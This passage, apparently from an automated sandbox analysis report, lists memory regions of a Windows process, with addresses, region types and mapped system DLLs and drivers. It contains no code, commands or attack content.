0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9803 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9804 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9805 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9806 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9807 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9808 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9809 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9810 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9811 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9812 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9813 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9814 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9815 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9816 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9817 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9818 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9819 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9820 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9821 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9822 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9823 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9824 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9825 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9826 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9827 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9828 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9832 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9833 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9834 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9835 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9836 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9837 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9838 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9839 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9840 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9841 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9842 start_va = 0x7ff9ff5e0000 end_va = 0x7ff9ff5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff5e0000" filename = "" Region: id = 9843 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9844 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9845 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9846 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9847 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9848 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9849 start_va = 0x1db90000 end_va = 0x1dbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db90000" filename = "" Region: id = 9850 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9851 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9852 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9853 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9854 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9855 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9856 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9857 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9858 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9859 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9860 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 9861 start_va = 0x1d8c0000 end_va = 0x1d8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 9862 start_va = 0x1d8d0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8d0000" filename = "" Region: id = 9863 start_va = 0x1dae0000 end_va = 0x1daeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 9864 start_va = 0x1daf0000 end_va = 0x1dafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001daf0000" filename = "" Region: id = 9865 start_va = 0x1db00000 end_va = 0x1db0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db00000" filename = "" Region: id = 9866 start_va = 0x1db10000 end_va = 0x1db1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db10000" filename = "" Region: id = 9867 start_va = 0x1db20000 end_va = 0x1db3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db20000" filename = "" Region: id = 9868 start_va = 0x1dbd0000 end_va = 0x1dbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbd0000" filename = "" Region: id = 9869 start_va = 0x1dbf0000 end_va = 0x1dbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbf0000" filename = "" Region: id = 9870 start_va = 0x1dc00000 end_va = 0x1dc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc00000" filename = "" Region: id = 9871 start_va = 0x1dc10000 end_va = 0x1dc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc10000" filename = "" Region: id = 9872 start_va = 0x1dc20000 end_va = 0x1dc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc20000" filename = "" Region: id = 9873 start_va = 0x1dc30000 end_va = 0x1dc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc30000" filename = "" Region: id = 9874 start_va = 0x1dc40000 end_va = 0x1dc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc40000" filename = "" Region: id = 9875 start_va = 0x1dc50000 end_va = 0x1dc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc50000" filename = "" Region: id = 9876 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9877 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9880 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9881 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9882 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9888 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9889 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9890 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9891 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9892 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9893 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9894 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9895 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9896 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9897 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9898 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9899 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9900 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9901 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9902 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9903 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9904 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9905 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 9906 start_va = 0x1d8c0000 end_va = 0x1d8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 9907 start_va = 0x1dae0000 end_va = 0x1dafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 9908 start_va = 0x1db00000 end_va = 0x1db1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db00000" filename = "" Region: id = 9909 start_va = 0x1d8d0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8d0000" filename = "" Region: id = 9910 start_va = 0x1db20000 end_va = 0x1db2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db20000" filename = "" Region: id = 9911 start_va = 0x1db30000 end_va = 0x1db3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db30000" filename = "" Region: id = 9912 start_va = 0x1dbd0000 end_va = 0x1dbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbd0000" filename = "" Region: id = 9913 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9914 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9915 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9916 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9917 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9918 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9919 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9920 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9921 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9922 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9923 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9926 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9927 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9928 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9929 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9930 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9931 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9932 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9933 start_va = 0x1ebb0000 end_va = 0x1ecaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ebb0000" filename = "" Region: id = 9934 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9935 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9936 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9960 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9961 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9962 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9963 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9964 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9965 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9966 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9967 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9968 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9969 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9970 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9971 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9972 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9973 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9974 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9975 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9976 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9977 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9978 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9979 start_va = 0x7ffa70f60000 end_va = 0x7ffa70f69fff monitored = 0 entry_point = 0x7ffa70f631a0 region_type = mapped_file name = "rasctrs.dll" filename = "\\Windows\\System32\\rasctrs.dll" (normalized: "c:\\windows\\system32\\rasctrs.dll") Region: id = 9980 start_va = 0x1ecb0000 end_va = 0x1edaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ecb0000" filename = "" Region: id = 9981 start_va = 0x7ffa643a0000 end_va = 0x7ffa64423fff monitored = 0 entry_point = 0x7ffa643b2830 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 9982 start_va = 0x7ffa70f50000 end_va = 0x7ffa70f57fff monitored = 0 entry_point = 0x7ffa70f518a0 region_type = mapped_file name = "tapiperf.dll" filename = "\\Windows\\System32\\tapiperf.dll" (normalized: "c:\\windows\\system32\\tapiperf.dll") Region: id = 9983 start_va = 0x7ffa70f30000 end_va = 0x7ffa70f40fff monitored = 0 entry_point = 0x7ffa70f35840 region_type = mapped_file name = "perfctrs.dll" filename = "\\Windows\\System32\\perfctrs.dll" (normalized: "c:\\windows\\system32\\perfctrs.dll") Region: id = 9984 start_va = 0x7ffa65cb0000 end_va = 0x7ffa65cb7fff monitored = 0 entry_point = 0x7ffa65cb2420 region_type = mapped_file name = "perfts.dll" filename = "\\Windows\\System32\\perfts.dll" (normalized: "c:\\windows\\system32\\perfts.dll") Region: id = 9985 start_va = 0x7ffa782b0000 end_va = 0x7ffa78305fff monitored = 0 entry_point = 0x7ffa782c0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 9986 start_va = 0x7ffa585f0000 end_va = 0x7ffa58607fff monitored = 0 entry_point = 0x7ffa585f1630 region_type = mapped_file name = "utildll.dll" filename = "\\Windows\\System32\\utildll.dll" (normalized: "c:\\windows\\system32\\utildll.dll") Region: id = 9987 start_va = 0x7ffa7ad80000 end_va = 0x7ffa7b1a8fff monitored = 0 entry_point = 0x7ffa7ada8740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 9988 start_va = 0x7ffa6c480000 end_va = 0x7ffa6c4a5fff monitored = 0 entry_point = 0x7ffa6c481cf0 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9989 start_va = 0x7ffa71a90000 end_va = 0x7ffa71aa8fff monitored = 0 entry_point = 0x7ffa71a94520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 9990 start_va = 0x7ffa748f0000 end_va = 0x7ffa7492dfff monitored = 0 entry_point = 0x7ffa748fa050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 9991 start_va = 0x7ffa64780000 end_va = 0x7ffa64787fff monitored = 0 entry_point = 0x7ffa64781e20 region_type = mapped_file name = "usbperf.dll" filename = "\\Windows\\System32\\usbperf.dll" (normalized: "c:\\windows\\system32\\usbperf.dll") Region: id = 9992 start_va = 0x7ffa585c0000 end_va = 0x7ffa585e5fff monitored = 0 entry_point = 0x7ffa585d0d80 region_type = mapped_file name = "wmiaprpl.dll" filename = "\\Windows\\System32\\wbem\\WmiApRpl.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiaprpl.dll") Region: id = 9993 start_va = 0x7ffa58590000 end_va = 0x7ffa585b4fff monitored = 0 entry_point = 0x7ffa5859b320 region_type = mapped_file name = "loadperf.dll" filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll") Region: id = 9994 start_va = 0x1b9c0000 end_va = 0x1b9c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b9c0000" filename = "" Region: id = 10001 start_va = 0x7ffa58220000 end_va = 0x7ffa5858efff monitored = 0 entry_point = 0x7ffa58321610 region_type = mapped_file name = "tquery.dll" filename = "\\Windows\\System32\\tquery.dll" (normalized: "c:\\windows\\system32\\tquery.dll") Region: id = 10002 start_va = 0x1b0c0000 end_va = 0x1b0d5fff monitored = 0 entry_point = 0x1b0d0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 10003 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 10004 start_va = 0x1b0c0000 end_va = 0x1b0d5fff monitored = 0 entry_point = 0x1b0d0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 10005 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 10006 start_va = 0x1b0c0000 end_va = 0x1b0d5fff monitored = 0 entry_point = 0x1b0d0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 10007 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 10009 start_va = 0x1b0c0000 end_va = 0x1b0d5fff monitored = 0 entry_point = 0x1b0d0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 10010 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 10019 start_va = 0x1b0c0000 end_va = 0x1b0d9fff monitored = 1 entry_point = 0x1b0c1190 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 10020 start_va = 0x1b0e0000 end_va = 0x1b0e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 10021 start_va = 0x1b0c0000 end_va = 0x1b0d9fff 